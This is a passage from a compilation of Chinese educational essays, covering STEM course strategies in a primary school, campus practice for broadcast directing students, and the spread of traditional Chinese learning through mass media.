STEM教育的實(shí)施策略

1. 開設(shè)STEM創(chuàng)新課程

除了物理空間的創(chuàng)設(shè)之外，學(xué)校還應(yīng)該開設(shè)符合校本、生本的STEM創(chuàng)新課程，以及持續(xù)推進(jìn)機(jī)制的建立。市場上一些公司推出的課程或許有些借鑒意義，但大都是美國的舶來品，在中國落地生根需要適應(yīng)、嫁接和改造的過程。筆者近幾年在實(shí)踐的基礎(chǔ)上先后編撰了《中小學(xué)生3D建模打印教程》和《面向STEM的Scratch創(chuàng)新課程》，并且在小W高年級全年級推進(jìn)，受到了家長和同行的好評。具體策略是，在五年級開設(shè)3D建模打印社團(tuán)，六年級成立STEM創(chuàng)新社團(tuán)，全年級開設(shè)3D建模打印課程和Scratch創(chuàng)新課程，這樣五年級的社團(tuán)成員到了六年級成為了教師小助手，STEM創(chuàng)新社團(tuán)成員也成了Scratch創(chuàng)新課程實(shí)施中的好幫手。

2. 采用“工作坊”教學(xué)模式

開設(shè)創(chuàng)客空間，并設(shè)置有專門的創(chuàng)意課程，為學(xué)生們提供“讓想象落地”的平臺很重要。在實(shí)際教學(xué)中，探索適合這一嶄新課程的教學(xué)模式也需要一線教育者去實(shí)踐與思考。筆者在實(shí)際教學(xué)中采用“工作坊”的教學(xué)模式，取得了預(yù)期的成效。例如，筆者在2016蘇州市小學(xué)信息技術(shù)教學(xué)觀摩活動中的公開課“沙灘椅塑料構(gòu)件制作”，從孩子們熟悉的“沙灘椅損壞后如何修復(fù)”這一問題入手，讓學(xué)生體驗(yàn)運(yùn)用3D建模打印解決生活中的實(shí)際問題。教學(xué)過程中探索“工作坊”教學(xué)新模式，微課、學(xué)案、教材、小組協(xié)作結(jié)合運(yùn)用，各環(huán)節(jié)在教師的主導(dǎo)下有序展開，整課以“課題競標(biāo)”為主線，在PPT上實(shí)時(shí)評價(jià)記錄，教學(xué)容量大，節(jié)奏快，適合高年級學(xué)生的年齡特點(diǎn)，取得了良好的教學(xué)效果。“工作坊”的角色有三種，分別為“參與者”“專業(yè)者”“促成者”，這里教師需要培育好“專業(yè)者”，這是工作坊教學(xué)模式成功的關(guān)鍵所在。3D建模課程是在六年級全年級進(jìn)入課程的，之前的五年級開設(shè)了3D建模打印社團(tuán)。這些“精英”到了六年級自然而然成為了“專業(yè)者”。在Scratch創(chuàng)新課程的學(xué)習(xí)中，學(xué)校STEM創(chuàng)新社團(tuán)的成員們則也相應(yīng)地成為了“專業(yè)者”。工作坊的寬松環(huán)境有利于學(xué)生發(fā)散性思維的培養(yǎng)和學(xué)生間的協(xié)助活動的開展。

3. 探索教學(xué)評價(jià)新機(jī)制

筆者在實(shí)踐中還對教學(xué)評價(jià)及獎勵機(jī)制進(jìn)行了一定的探索，取得了較好的成效。

首先是改變學(xué)生的評價(jià)模式，在應(yīng)試教育的浸潤下，許多信息技術(shù)教師至今還用“考試”來決定學(xué)生的評價(jià)結(jié)果。這就造成學(xué)生一些平時(shí)學(xué)習(xí)的惰性，試圖與其他學(xué)科一樣，在最后的考試中僥幸過關(guān)。針對這一現(xiàn)象，筆者制定了平時(shí)成績占百分之九十，期末考核占百分之十的評價(jià)機(jī)制。每節(jié)課作品完成并通過作業(yè)提交系統(tǒng)上交的、項(xiàng)目推進(jìn)明顯、回答難度系數(shù)較高問題等方面表現(xiàn)良好的即時(shí)加分。最后對總分進(jìn)行排序，決定學(xué)生最終成績的評定。

在同樣的評價(jià)策略下，筆者又發(fā)現(xiàn)班級和班級之間存在著不小的差異?；诖送瞥霭嗉壸髌吠瓿膳判邪瘢皶r(shí)公布平行班各班的作品完成總數(shù)及完成率，喚醒班級的集體榮譽(yù)感。于是有的班級為了避免墊底，有的班級為了“一雪前恥”，有的班級則為了爭奪年級第一，紛紛找尋他們所謂的“潛力股”。這種你追我趕的氛圍的形成，顯然有利于教學(xué)目標(biāo)的達(dá)成。當(dāng)然，設(shè)立一些激勵機(jī)制是必要的，比如，每班的前五名可以獲得老師的簽名贈書，且可以進(jìn)入學(xué)校的STEM創(chuàng)新社團(tuán)等，這些激勵措施用來激發(fā)學(xué)生們的學(xué)習(xí)興趣。

4. 提供傳統(tǒng)的和開源軟硬件制作工具

在創(chuàng)客教室、STEM體驗(yàn)中心，配備讓學(xué)生能實(shí)現(xiàn)創(chuàng)意、摸到夢想的3D打印機(jī)、Arduino等性價(jià)比高的硬件設(shè)備。Arduino是開源硬件軟件，它基本透明掉了硬件電子部分，只剩下軟件部分，把電子部分組成“模塊”，這種簡單易懂的軟件使得小學(xué)生也能輕松上手，理解使用。也正因如此，它的硬件價(jià)格低廉，軟件也無須購買。國內(nèi)許多公司化運(yùn)作的機(jī)器人比賽，購買一個(gè)器材動輒幾千上萬，筆者撰寫的《面向STEM的Scratch課程》配套的可供全班學(xué)生使用的25套Arduino器材花銷總和不到2萬，而且由于硬件的兼容性好，傳感器通用性強(qiáng)，在需要升級“版本”時(shí)還可有效利用原有器材。

5. 吸納專業(yè)及背景廣闊的跨界導(dǎo)師

對于處在發(fā)展中的學(xué)生來說，擁有專業(yè)知識的教師的引領(lǐng)和指導(dǎo)是非常關(guān)鍵的。雖然中國目前還沒有出現(xiàn)類似創(chuàng)客之父一樣有影響力等級的人物，但是在學(xué)校層面已經(jīng)有景山學(xué)校的吳俊杰、溫州中學(xué)的謝作如老師等引領(lǐng)；所有這些都為我國跨學(xué)科整合性人才的培養(yǎng)創(chuàng)造了有利條件。

6. 構(gòu)建線下線上互聯(lián)互通的融合空間

為了更好地實(shí)施教學(xué)，需要打破傳統(tǒng)課程的時(shí)空限制。在課程的教學(xué)過程中，在學(xué)生機(jī)端建立“教學(xué)微視頻”文件夾，學(xué)生除了在工作坊中探討，尋求專業(yè)者的指導(dǎo)外 ，還可以從校本課程、教學(xué)微視頻等多渠道及時(shí)獲得跨越障礙的有效信息。有的學(xué)生遠(yuǎn)程跟淘寶的傳感器賣家通過旺旺進(jìn)行溝通，了解傳感器的性能、安裝及相關(guān)重要參數(shù)等。此時(shí)，網(wǎng)絡(luò)上的一些“專業(yè)者”也參與其間，交流將不再局限在課堂，也不再受到時(shí)間和空間的限制。

結(jié) 語

學(xué)校創(chuàng)客教育、STEM教育的課程開發(fā)者謝作如老師指出，中小學(xué)建設(shè)創(chuàng)客空間必要的條件有：足夠大的場所、足夠全的工具，以及足夠長的開放時(shí)間。這三個(gè)足夠解決物理三維空間和實(shí)施的時(shí)間四個(gè)維度的要素。實(shí)際上，就如本文所述，要有效地持續(xù)推進(jìn)，還需要一線教師開發(fā)的適合校情生情的實(shí)驗(yàn)課程，探索適應(yīng)教育新模態(tài)的教學(xué)模式及教學(xué)評價(jià)機(jī)制，給各實(shí)驗(yàn)學(xué)校培訓(xùn)和配備STEM教育或者創(chuàng)客教育師資等。

篇9

【關(guān)鍵詞】廣播電視編導(dǎo)專業(yè)實(shí)踐方法技巧

【中圖分類號】J607 【文獻(xiàn)標(biāo)識碼】A 【文章編號】2095-3089（2014）05-0240-02

廣西藝術(shù)學(xué)院是一所融合多個(gè)藝術(shù)門類的全國省屬綜合性藝術(shù)院校，獨(dú)特的資源優(yōu)勢，給學(xué)生提供了廣闊的實(shí)踐平臺。專業(yè)的文藝演出、美術(shù)設(shè)計(jì)展覽，豐富的社團(tuán)文化活動給廣編專業(yè)的同學(xué)創(chuàng)作實(shí)踐提供的豐富的素材。近年來，學(xué)校成立了以同學(xué)為主體的廣播電視臺作為一個(gè)重要的宣傳平臺，一方面為學(xué)校廣大師生服務(wù)，一方面也構(gòu)建了廣編專業(yè)校園實(shí)踐基地。本文以校園文化活動拍攝制作為例，論述廣編專業(yè)校園實(shí)踐一些方法和技巧，并探討廣播電視編導(dǎo)人才培養(yǎng)模式構(gòu)建方法。

一、文藝晚會的拍攝技巧及其后期制作方法

（一）架設(shè)機(jī)位和參數(shù)設(shè)置

（1）攝影師需要根據(jù)文藝晚會的規(guī)模大小來考慮機(jī)位數(shù)量。顯然，晚會規(guī)模越大，機(jī)位就應(yīng)該越多，甚至有些需要搖臂、軌道和飛貓來增強(qiáng)鏡頭感，豐富活動的視覺呈現(xiàn)。有些小型的晚會，架設(shè)4臺攝像機(jī)甚至2臺攝像機(jī)就足以表現(xiàn)，如果是4臺機(jī)位錄制的話，一般設(shè)置為兩臺中間機(jī)位，分別負(fù)責(zé)大全景和中近景。然后另外連個(gè)機(jī)位布置在一左一右，分別負(fù)責(zé)舞臺左右兩邊的對象，一般為中近景及特寫。如果是兩個(gè)機(jī)位的話，就省略掉左右兩邊的角度。這也是我們在校園文藝晚會常用的機(jī)位架設(shè)方法。在通常的電視節(jié)目中，鏡頭一般采用以中近景為主要景別進(jìn)行表現(xiàn)。當(dāng)然，如果條件允許，在小規(guī)模的晚會我們也可以用更多的機(jī)位來表現(xiàn)。也就是說，不管機(jī)位設(shè)置多少，都必須保證拍攝出來的片子要有景別的變化、角度的變化、現(xiàn)場的動感、色彩的平衡、拍攝對象的完整等等。

（2）架設(shè)好機(jī)位后，各個(gè)機(jī)位的攝像師到位，測試設(shè)備。同時(shí)組織大家統(tǒng)一設(shè)置攝像機(jī)的數(shù)據(jù)，參數(shù)包括白平衡、快門速度、視頻錄制的格式、視頻分辨率、音頻格式等等。這里要強(qiáng)調(diào)一點(diǎn)，統(tǒng)一攝像機(jī)的錄制數(shù)據(jù)非常重要，這直接影響后期的晚會剪輯。至于具體要攝像機(jī)調(diào)至什么樣的設(shè)置，這個(gè)要根據(jù)晚會的具體要求來定。晚會中不同的節(jié)目可能就會有不同的設(shè)置，因?yàn)闊艄狻⒁魳?、音響等都在不停的變化，所以我們攝像機(jī)的設(shè)置也得根據(jù)這些變化做相應(yīng)的調(diào)整。

（二）拍攝的注意事項(xiàng)

（1）攝像師在拍攝的過程中，應(yīng)該清楚的知道自己的機(jī)位所負(fù)責(zé)的景別和拍攝對象，并且要臨場應(yīng)變，在現(xiàn)場導(dǎo)播的調(diào)配下積極地拍攝出有效的鏡頭；當(dāng)然無論在什么情況下，鏡頭一定要穩(wěn)，除非有特殊要求，這是每一個(gè)攝影師必須做到的。

（2）音頻的錄制，一方面可以是攝像機(jī)內(nèi)錄，一方面可以采用第三方設(shè)備單獨(dú)錄制音頻，在后期合成的時(shí)候加上去，這也是為了保險(xiǎn)起見，做一個(gè)備份錄制。為了獲得更“干凈”的音頻，最好從導(dǎo)播臺或者攝像機(jī)連接一條音頻線至晚會現(xiàn)場的調(diào)音臺，這樣為了保證剪輯完的片子就不會有雜音。尤其是拍攝音樂類的晚會更是如此。

當(dāng)把晚會拍攝的素材采集到電腦后，下面要進(jìn)行的就是后期制作部分。因?yàn)橥頃旧隙际嵌鄼C(jī)位拍攝，所以對于后期剪輯來說，我們可以在剪輯軟件中選擇多機(jī)位剪輯設(shè)置，在軟件中多機(jī)位剪輯，就類似我們的導(dǎo)播臺的操作，簡潔方便，剪輯效率非常高。這也是在同學(xué)們必須要掌握的技術(shù)技巧。為了能夠順利的進(jìn)行后期剪輯，在晚會拍攝過程中，所有的機(jī)位需統(tǒng)一開始錄制，并且錄制過程中不停機(jī)，保證完整的錄制過程。

在剪輯過程中，同學(xué)們需根據(jù)晚會的每個(gè)節(jié)目來定剪輯的節(jié)奏。比如說：在一般情況下，節(jié)奏較快的動感類節(jié)目，鏡頭的切換就應(yīng)該相對比較快；節(jié)奏較慢的節(jié)目，鏡頭切換就應(yīng)該相對較慢。還可以添加些鏡頭轉(zhuǎn)換的特效來豐富表現(xiàn)的效果，例如常用的疊化、融化、淡入淡出技巧等等。

此外，文藝晚會剪輯還要涉及到片頭片尾設(shè)計(jì)、添加字幕、轉(zhuǎn)場效果、添加音效、視頻特效等等。剪輯完畢后，如果需要刻錄成光盤，還要注意輸出的格式和控制節(jié)目畫質(zhì)。比如說，一般會刻錄成DVD光盤，輸出的視頻為mpeg格式，PAL制式，分辨率一般為720*576，如果是只需要數(shù)據(jù)光盤，則可以輸出為高清格式。

二、晚會導(dǎo)播的技法

晚會導(dǎo)播對同學(xué)來說，是一件很有挑戰(zhàn)性的工作。記得剛開始的時(shí)候，同學(xué)們對這個(gè)看起來很復(fù)雜的“大家伙”有點(diǎn)畏懼，后來通過學(xué)習(xí)和摸索，慢慢懂得了一些關(guān)于導(dǎo)播的知識和經(jīng)驗(yàn)。在我印象中，有位同學(xué)第一次操作導(dǎo)播臺是在第十六屆校園文化藝術(shù)節(jié)閉幕式晚會上，當(dāng)時(shí)他真是很緊張，腦子一片空白……就這樣在老師的訓(xùn)斥和自己的自責(zé)中結(jié)束了整場晚會的導(dǎo)播。后來，通過一次次的鍛煉和總結(jié)，他也漸漸的能夠熟練的完成導(dǎo)播臺的各項(xiàng)操作。

對于晚會導(dǎo)播，可以簡要總結(jié)如下技法：

首先，必須熟悉導(dǎo)播臺的各項(xiàng)操作方式，提前做設(shè)備的安裝調(diào)試、反復(fù)檢測、晚會開始前半個(gè)小時(shí)必須完成各項(xiàng)工作，最好在提前一天的彩排中就完成設(shè)備的檢修調(diào)試。（包括：設(shè)備的電源、視音頻輸出/入布線、通話系統(tǒng)接入、監(jiān)視信號的調(diào)試等）這樣晚會開始錄制時(shí)就不會那么手足無措，即使現(xiàn)場出現(xiàn)什么故障也能很好及時(shí)處理。

其次，導(dǎo)播和攝像師一定要一起參與觀看晚會的彩排，通過彩排提前了解晚會的節(jié)目流程、現(xiàn)場演員、舞美燈光的調(diào)度、每個(gè)節(jié)目的內(nèi)容、風(fēng)格、各個(gè)重要的細(xì)節(jié)，同時(shí)根據(jù)節(jié)目特點(diǎn)做好拍攝分工。在晚會正式開始之前，導(dǎo)播和攝像師要對晚會了如指掌。這樣，在正式錄制晚會的時(shí)候，大家操作起來將會得心應(yīng)手。

最后，在設(shè)備調(diào)試完畢后，能否將一場晚會以現(xiàn)場直播的形式完美的呈現(xiàn)出來，這對現(xiàn)場導(dǎo)播來說不是一件容易的事情?，F(xiàn)場導(dǎo)播不僅要能夠熟練的操作設(shè)備，還必須具備一定的導(dǎo)播經(jīng)驗(yàn)和想法。導(dǎo)播的經(jīng)驗(yàn)和想法是需要平時(shí)不斷地學(xué)習(xí)和實(shí)際操作鍛煉出來的。為了提升同學(xué)們的導(dǎo)播素養(yǎng)，可以多多觀看優(yōu)秀的晚會視頻，學(xué)習(xí)那些大師們是怎么樣玩轉(zhuǎn)導(dǎo)播臺的。

三、一般校園內(nèi)的電視節(jié)目制作

（一）新聞片拍攝及剪輯

2012年5月31日，廣藝廣播電視臺正式開播，電視臺的同學(xué)們大大小小的活動新聞拍攝了很多，通過這些實(shí)踐鍛煉，同學(xué)們在新聞制作這塊也得到了一些提高。

首先，要明確的就是新聞具有很強(qiáng)時(shí)效性，校園新聞也不例外，要在最快的時(shí)間內(nèi)制作并呈現(xiàn)出來，新聞才有其價(jià)值。這一點(diǎn)大家應(yīng)該今后的工作好好反思反思，時(shí)效性非常欠缺，拍攝了新聞內(nèi)容、不是新聞稿件沒有出來，就是配音沒有錄制好，總有借口不能很好的完成工作任務(wù)。

其次，在剛實(shí)踐拍攝新聞的時(shí)候，同學(xué)們往往會腦子發(fā)懵，拿著攝像機(jī)不知道該拍攝什么，或者是一直不換景別也不換對象的亂拍。要想拍出一條標(biāo)準(zhǔn)的新聞片，一定要抓住新聞的要素，盡可能提前掌握事件新聞內(nèi)容、主旨。提前到達(dá)新聞現(xiàn)場，占據(jù)有利位置，分清主次進(jìn)行多角度多景別拍攝，這樣拍出來的畫面才會有概括性和全面性。比如：拍攝一場畫展開幕式，首先拍攝全景鏡頭呈現(xiàn)舉辦畫展地點(diǎn)；然后拍攝畫展的現(xiàn)場，參展人的講話，嘉賓講話等；接下來拍攝參展人陪同嘉賓一起觀展……這是一個(gè)主要的流程，但是還需要補(bǔ)充鏡頭。比如說：畫展會現(xiàn)場所有嘉賓的全景鏡頭、觀眾觀展的特寫鏡頭、美術(shù)作品的空鏡頭等。還可以設(shè)計(jì)一些舒服兼具觀賞性的畫面，嘉賓觀看畫展的時(shí)候，可以把鏡頭從美術(shù)作品搖到參觀者的視線，有一種人在畫中游的感覺。這樣新聞拍攝的畫面就豐富了，然后再根據(jù)解說合理的運(yùn)用這些豐富的素材。

簡言之，拍攝新聞必須提前做好案頭工作，抓住拍攝的重點(diǎn)，盡可能的多角度多景別拍攝，同時(shí)鏡頭感要好，有一定的紀(jì)實(shí)審美情趣。

（二）綜藝節(jié)目設(shè)計(jì)與制作

廣藝廣播電視臺的綜藝頻道，給大家提供另一角度的創(chuàng)作空間，半年來，綜藝頻道同學(xué)們也做出了一些綜藝節(jié)目，雖然已經(jīng)受到校園師生的關(guān)注和喜愛，但節(jié)目質(zhì)量還很有欠缺，大家還需要不斷的摸索經(jīng)驗(yàn)，提高自己的創(chuàng)作水平。

當(dāng)然，這里指的是一般的小型綜藝類節(jié)目，適合當(dāng)下學(xué)生的實(shí)際創(chuàng)作需求。綜藝節(jié)目的創(chuàng)意性、趣味性是十分重要，根據(jù)不同類型的受眾就應(yīng)該策劃不同類型的話題。對于大學(xué)生這個(gè)群體，節(jié)目的創(chuàng)作內(nèi)容可以豐富多彩、包羅萬象。風(fēng)格可以是幽默搞笑的、時(shí)尚潮流的，青春活力的、傳遞正能量的節(jié)目。

在制作上也要大膽的創(chuàng)新，有時(shí)候可以臨摹一些國內(nèi)外優(yōu)秀的娛樂綜藝節(jié)目的形式、嫁接一些大學(xué)生喜聞樂見的故事、話題。包裝節(jié)目的方式也盡可能跳躍、富有活力一些，要張揚(yáng)出學(xué)生的個(gè)性。

綜上，可以這樣說，合理有效的利用這些實(shí)踐方法技巧，在校園這個(gè)實(shí)踐平臺上勤懇踏實(shí)的努力，是學(xué)好專業(yè)的有力武器。廣播電視編導(dǎo)人才培養(yǎng)模式構(gòu)建離不開校園實(shí)踐基地的建設(shè)，學(xué)校應(yīng)該鼓勵同學(xué)要好好利用這個(gè)平臺，并指定專業(yè)的老師加以輔導(dǎo)，讓校園實(shí)踐成為學(xué)生的第二課堂。

參考文獻(xiàn)：

[1]謝毅，張印平.《電視節(jié)目制作》，暨南大學(xué)出版社2001

[2]夏正達(dá). 《攝像基礎(chǔ)教程著》， 上海人民美術(shù)出版社 2006

篇10

【關(guān)鍵詞】國學(xué)熱；大眾傳媒；傳播方式

20世紀(jì)90年代以來，沉寂了近一個(gè)世紀(jì)的國學(xué)重新走進(jìn)人們的視野，并隨即在我國思想文化領(lǐng)域興起了新一輪的“國學(xué)熱”?，F(xiàn)代社會中，作為文化載體的大眾傳媒廣泛普及并高度運(yùn)轉(zhuǎn)，大大促進(jìn)了信息傳播領(lǐng)域的發(fā)展，成為“國學(xué)熱”的有力助推器。研究大眾傳媒時(shí)代國學(xué)形象的媒介傳播方式，有助于推動國學(xué)更廣范圍的普及與更深層次的研究，從而在人民群眾中更好地弘揚(yáng)傳統(tǒng)民族文化，增強(qiáng)我國民族軟實(shí)力，樹立良好的國際形象，提升我國的國際影響力。

國學(xué)復(fù)歸及其必然性

由于其內(nèi)涵豐富、外延廣泛，“國學(xué)”一詞至今在學(xué)術(shù)界沒有一個(gè)統(tǒng)一、精準(zhǔn)的定義。在古代，國學(xué)指代國家設(shè)立的學(xué)校，《周禮?春官宗伯第三》中記載“樂師掌國學(xué)之政，以教國子小舞”。唐代韓愈在《竇公墓志銘》中亦有“教誨于國學(xué)也，嚴(yán)以有禮，扶善遏過”。近代意義上的國學(xué)則是在清末民初西學(xué)東漸的歷史背景下提出來的，“借用湯因比的‘歷史文明’理論來說，中國國學(xué)的誕生，主要是中國人和中國社會面對西方文明的‘挑戰(zhàn)’而提出的‘應(yīng)戰(zhàn)’之舉”[1]，“國學(xué)”是中國文明與西方文明的激烈沖突的產(chǎn)物。多數(shù)人認(rèn)為國學(xué)定義始見于章太炎的《國學(xué)概論》，曾為國學(xué)下定義說：“‘國學(xué)’在我們心眼里，只是‘國故學(xué)’的縮寫。中國的一切的過去的文化歷史，都是我們的‘國故’；研究這一切過去的歷史文化的學(xué)問，就是‘國故學(xué)’，省稱為‘國學(xué)’?！盵2]這里為國學(xué)下的定義在一定程度上可以看做廣義上的國學(xué)，“一切過去的歷史文化的學(xué)問”，不僅包括傳統(tǒng)的文學(xué)、歷史學(xué)、哲學(xué)等學(xué)術(shù)領(lǐng)域，還包括音樂、書、畫、建筑等藝術(shù)領(lǐng)域，醫(yī)卜星象等自然科學(xué)領(lǐng)域乃至領(lǐng)域。20世紀(jì)90年代末期，借助當(dāng)代大眾傳播媒介，掀起了新一輪國學(xué)文化熱，至今方興未艾，引起了人們的廣泛關(guān)注與思考。本文中筆者所理解的國學(xué)指代的是狹義下的國學(xué)，即以儒釋道為主流的中國傳統(tǒng)的文化與藝術(shù)。

國學(xué)熱在大眾傳媒時(shí)代出現(xiàn)并非偶然，它有著歷史的合理性與必然性。從傳播學(xué)角度分析，可得出以下原因：

首先，受眾因素。在信息傳播過程中，受眾是信息的接受者與反映者，是媒介產(chǎn)品的最終消費(fèi)者，受眾的接受程度是傳播效果的主要體現(xiàn)。一方面，伴隨著經(jīng)濟(jì)的快速發(fā)展，物質(zhì)極大豐富，人民群眾在生活水平提高的同時(shí)開始轉(zhuǎn)向?qū)裎幕M(fèi)品的需求，人們要求了解中國古代的傳統(tǒng)文化藝術(shù)，滿足更高層次的生活追求；另一方面，我國正處于社會轉(zhuǎn)型時(shí)期，開放的社會機(jī)制與環(huán)境為人民群眾的多元價(jià)值觀提供了條件，但也會造成各種價(jià)值觀交織、思潮激蕩，甚至道德淪喪、人們精神空虛的社會現(xiàn)象，而國學(xué)中的觀念與思想特別是儒釋道倫理則為人們提供了心靈的依托，幫助人們樹立主流價(jià)值取向、找到現(xiàn)代社會生活的個(gè)人坐標(biāo)，重新構(gòu)建信仰體系；同時(shí)，隨著我國綜合實(shí)力的顯著提升，世界各國廣泛設(shè)立了“孔子學(xué)院”以了解“中國形象”，強(qiáng)烈的民族主義情結(jié)增強(qiáng)了廣大人民群眾的民族認(rèn)同感，“國學(xué)熱”受到廣泛關(guān)注。

其次，大眾傳媒因素(傳播者)。大眾傳媒是現(xiàn)代社會主要的信息提供者，大眾傳播是一種制度化的傳播，“一些重要的‘稀有’公共傳播資源，例如廣播、電視使用的電波頻率等，也是國家以某種制度方式委托給傳媒組織專用的”[3]。國學(xué)是幾千年來我國各民族積累的文明與智慧的結(jié)晶，大眾傳媒利用傳播特權(quán)傳播國學(xué)信息，進(jìn)行輿論引導(dǎo)與宣傳，以促進(jìn)民族團(tuán)結(jié)，增強(qiáng)我國民族凝聚力。此外，傳播中國文化應(yīng)當(dāng)是一種歷史責(zé)任，中國應(yīng)當(dāng)為世界文化的多元化作出民族的貢獻(xiàn)。[4]大眾傳媒通過國學(xué)形象的塑造，來加深世界各國對中國傳統(tǒng)文化與藝術(shù)的了解，樹立我國國際形象，增加國際影響力。

最后，傳播媒介因素。麥克盧漢說：“正是傳播媒介在形式上的特性――它在多種多樣的物質(zhì)條件下一再重現(xiàn)――而不是特定的訊息內(nèi)容，構(gòu)成了傳播媒介的歷史行為功效?！盵5]當(dāng)代社會是一個(gè)信息大爆炸的社會，信息的高度濃縮與密集促使傳播媒介不斷融合翻新，這也為國學(xué)熱的興起提供了客觀條件。

國學(xué)形象的主要媒介傳播方式

通過對有關(guān)國學(xué)形象的媒介傳播方式典型事例的搜集與分析，筆者發(fā)現(xiàn)國學(xué)形象有以下五種主要媒介傳播方式：

文化名家通過電視講壇方式解讀古典名家名著。以中央電視臺科教頻道《百家講壇》為例，該欄目自2001年7月開播以來，先后邀請一系列教授、學(xué)者解讀古典名家名著，他們以當(dāng)代人的視角和思維方式在自己的專業(yè)研究領(lǐng)域內(nèi)，將傳統(tǒng)上晦澀難懂的古典文學(xué)和撲朔迷離的歷史現(xiàn)象，深入淺出地傳達(dá)給廣大觀眾，使歷史上藏匿于深宮后院的故事飛入了尋常百姓家。2006年，《百家講壇》被評為央視十大優(yōu)秀欄目之一，僅次于《新聞聯(lián)播》名列榜眼?！栋偌抑v壇》既收獲了優(yōu)異的收視佳績，也獲得了良好的市場美譽(yù)度。電視讓學(xué)者有為，學(xué)者讓電視深刻，《百家講壇》秉承著“建構(gòu)時(shí)代常識，享受智慧人生”的宗旨使得大眾媒體與高雅文化成功聯(lián)姻，成為2006年、2007年引人深思的文化現(xiàn)象。

嫁接脫口秀等新形式出現(xiàn)在創(chuàng)新綜藝節(jié)目中。2011年伊始，湖南衛(wèi)視推出了中國第一檔姓氏文化深度解讀節(jié)目――《非常靠譜》，該節(jié)目邀請于丹、紀(jì)連海等十幾位觀眾喜聞樂見的專家、學(xué)者組成“擺譜團(tuán)”，通過“姓名堂”、“最姓我”、“全家?！比蠊?jié)目板塊，以姓氏為包裝，展示百家姓中家族的傳奇故事、家族絕活與家族杰出人才。較之電視講壇類型節(jié)目，《非?？孔V》邀請明星與名人參與現(xiàn)場互動與點(diǎn)評，增加了節(jié)目的趣味性與互動性。此外，該節(jié)目由娛樂主持大哥汪涵擔(dān)綱主持，增加了看點(diǎn)。《非?？孔V》采用當(dāng)下更為時(shí)尚、新潮的脫口秀互動形式解讀中國傳統(tǒng)文化中較為冷門的姓氏、家族文化，以“百姓主題、群英擺譜”的方式，為觀眾呈現(xiàn)了一道高端文化大餐。

另外，湖南衛(wèi)視以脫口秀形式打造的《百科全說》，將中國經(jīng)典中醫(yī)養(yǎng)生知識嫁接于輕松搞笑的綜藝節(jié)目，使觀眾在開懷一笑間了解到中國傳統(tǒng)文化知識。還有《天天向上》中的夫子國學(xué)也在寓教于樂、雅俗共賞中塑造了國學(xué)形象。

電視劇、電影翻拍經(jīng)典著作。近幾年來，電視劇、電影行業(yè)對傳統(tǒng)文化領(lǐng)域的選題呈上升趨勢，2005年《漢武大帝》中展示的漢文化帶動了一陣“漢學(xué)熱”，2007年，國人掀起了翻拍四大名著的熱潮，《西游記》、《三國演義》、《水滸傳》、《紅樓夢》在新時(shí)代的光影技術(shù)下再次演繹視覺盛宴，2007年《貞觀長歌》再現(xiàn)大唐盛世。在電影方面，以打響2009年賀歲檔第一炮的《花木蘭》為例，該影片重新打造國學(xué)經(jīng)典中婦孺皆知的典型形象花木蘭，用木蘭女扮男裝代父從軍的感人本土傳奇喚起國人心中的深厚民族情結(jié)。這部古裝傳奇巨著上映后，在獲得過億的票房佳績的同時(shí)，也弘揚(yáng)了中國的傳統(tǒng)文化。2010年3月21日，《花木蘭》還同《赤壁》、《建國大業(yè)》等逾百部中國優(yōu)秀電影當(dāng)選《電影看中國》系列產(chǎn)品，作為歷史中國的部分展示中國形象。根據(jù)墨子“兼愛”、“非攻”、“尚賢”思想改編的影片《墨攻》、根據(jù)梅蘭芳先生一生藝術(shù)之旅改編的《梅蘭芳》、戲說趙云的《三國志之見龍卸甲》等傳統(tǒng)國學(xué)中的經(jīng)典題材也陸續(xù)被搬上銀幕。

平面媒體適時(shí)出版同類題材相關(guān)讀物。借助《百家講壇》的東風(fēng)，中華書局、中國民主法制出版社整理于丹講稿，適時(shí)出版了《于丹〈論語〉心得》、《于丹〈論語〉感悟》、《于丹〈莊子〉心得》，2008年于丹和孔健的《論語力》也由新世界出版社出版，“于丹熱”向人們席卷而來。2007年“全國優(yōu)秀暢銷書排行榜”上，《于丹〈論語〉心得》、《于丹〈莊子〉心得》、《品三國(下)》高居排行榜前三名。①通俗易懂的白話語言代替了艱深難懂的文言文，大大增加了讀者的閱讀興趣，使得幾千年前的經(jīng)典讀物在現(xiàn)代視角的重新解讀下有了普適性的意義。

國學(xué)形象借助網(wǎng)絡(luò)、移動多媒體廣播電視等新興傳播媒介形式出現(xiàn)。2006年，百度開設(shè)全球首個(gè)國學(xué)頻道，免費(fèi)為廣大網(wǎng)友提供國學(xué)相關(guān)信息的特色搜索服務(wù)，提供高品質(zhì)的古代文化典籍在線搜索及閱讀功能，千年傳統(tǒng)與時(shí)尚完美結(jié)合；新浪網(wǎng)則高調(diào)推出乾元國學(xué)博客，交換學(xué)習(xí)國學(xué)心得感悟。

五種國學(xué)形象媒介傳播方式的特點(diǎn)

各種媒介相互策動，使得國學(xué)形象的媒介傳播方式日益多元化。在飛速發(fā)展的傳媒時(shí)代，媒介資源呈現(xiàn)出豐富化的特征，新舊媒介交織，媒介功能日益融合。在國學(xué)形象呈現(xiàn)的過程中，既有傳統(tǒng)上的平面媒體、地上波廣播電視，也有衛(wèi)星廣播電視、電子出版物以及互聯(lián)網(wǎng)絡(luò)等新型傳播媒介。多種媒介傳播方式為國學(xué)形象的呈現(xiàn)提供了多元渠道。

借助多種媒介傳播方式，國學(xué)普及呈現(xiàn)“大眾化”、“通俗化”。由于年代久遠(yuǎn)，傳統(tǒng)國學(xué)形象在大眾心中多是抽象的意象，給人以艱澀冰冷的陌生感，而經(jīng)過現(xiàn)代媒介的全新解讀，拉近了傳統(tǒng)文化與平民百姓的距離，例如，《百家講壇》利用懸念化的圖片與文字配合講解，適時(shí)配有震撼人心的背景音樂，強(qiáng)大的視覺沖擊迎合了受眾的感官需要，使受眾置身其中，學(xué)者平白易懂的話語將經(jīng)典大眾化、通俗化，“以白話詮釋經(jīng)典，以經(jīng)典詮釋智慧”。同時(shí)，一般人幾乎很少有機(jī)會深入大學(xué)聆聽專家講座，也不可能經(jīng)常性閱讀專業(yè)性書籍，電視講座及其相關(guān)書籍等大眾傳播方式為大眾提供了這樣一條走進(jìn)文化、走進(jìn)傳統(tǒng)經(jīng)典的便捷途徑。

